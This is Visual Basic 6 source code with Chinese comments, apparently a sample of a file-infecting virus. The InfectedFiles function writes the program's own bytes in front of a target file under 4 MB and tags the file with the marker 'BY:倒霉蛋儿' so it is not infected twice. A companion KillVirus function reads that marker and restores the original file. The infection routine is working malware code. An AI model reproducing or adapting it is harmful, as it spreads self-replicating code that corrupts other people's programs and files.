|
Private Function InfectedFiles(ByVal FilePath As String) As Boolean Dim MyArray() As Byte Dim FileArray() As Byte If FileLen(FilePath) > 4194304 Then Exit Function ’大于4mb不感染
Open MyName For Binary Access Read As #1 ’读取自身文件内容 ReDim MyArray(FileLen(MyName) - 1) Get #1, , MyArray Close #1
Open FilePath For Binary Access Read As #1 ’读取要感染的问件内容 ReDim FileArray(FileLen(FilePath) - 1) Get #1, , FileArray Close #1
If InStr(FileArray, "BY:倒霉蛋儿") > 0 Then ’判断是否被感染 Exit Function Else Open FilePath For Binary Access Write As #1 ’把自身和感染文件与配置信息一起写到一个新文件去 Put #1, , MyArray Put #1, , FileArray Put #1, , "BY:倒霉蛋儿" & UBound(MyArray) + 1 & "," & UBound(FileArray) + 1 Close #1 InfectedFiles = True End If End Function
Private Function KillVirus(ByVal VirusPath As String) As Boolean Dim infected() As Byte Dim vbArray() As Byte Dim SplitArray() As String Dim SplitINI() As String On Error Resume Next If FileLen(VirusPath) > 4194304 Then Exit Function ’大于4mb不感染 Open VirusPath For Binary Access Read As #1 ’读取自身文件内容 ReDim infected(FileLen(VirusPath) - 1) Get #1, , infected Close #1 If InStr(StrConv(infected, vbUnicode), "BY:倒霉蛋儿") > 0 Then ’判断是否被感染 SplitArray = Split(StrConv(infected, vbUnicode), "BY:倒霉蛋儿") SplitINI = Split(SplitArray(UBound(SplitArray)), ",") ReDim vbArray(SplitINI(1) - 1) Open VirusPath For Binary As #1 Get #1, SplitINI(0) + 1, vbArray Close #1 Open VirusPath For Binary As #1 Put #1, , vbArray Close #1 KillVirus = True End If End Function
| |